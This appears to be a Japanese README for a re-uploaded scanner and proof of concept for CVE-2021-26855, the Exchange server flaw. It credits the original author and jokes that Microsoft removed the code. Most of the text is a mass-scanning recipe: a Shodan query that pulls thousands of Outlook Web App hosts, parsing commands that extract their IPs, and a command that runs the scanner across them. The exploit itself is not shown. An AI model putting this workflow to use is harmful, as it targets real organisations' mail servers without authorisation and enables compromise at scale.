
CVE-2021-26855 のスキャナーおよび PoC
PoC のクレジットは GreyOrder に帰属します。利便性のため再アップロードしています。Microsoft が少なくとも一度は削除したためでもあります :)
大量スキャンの使用例:
shodan download --limit 12345 exchange "http.component:'outlook web+app'"
gzip -d exchange.json.gz
shodan parse exchange.json --fields=ip_str,port > ips.txt
python3 scan.py ips.txt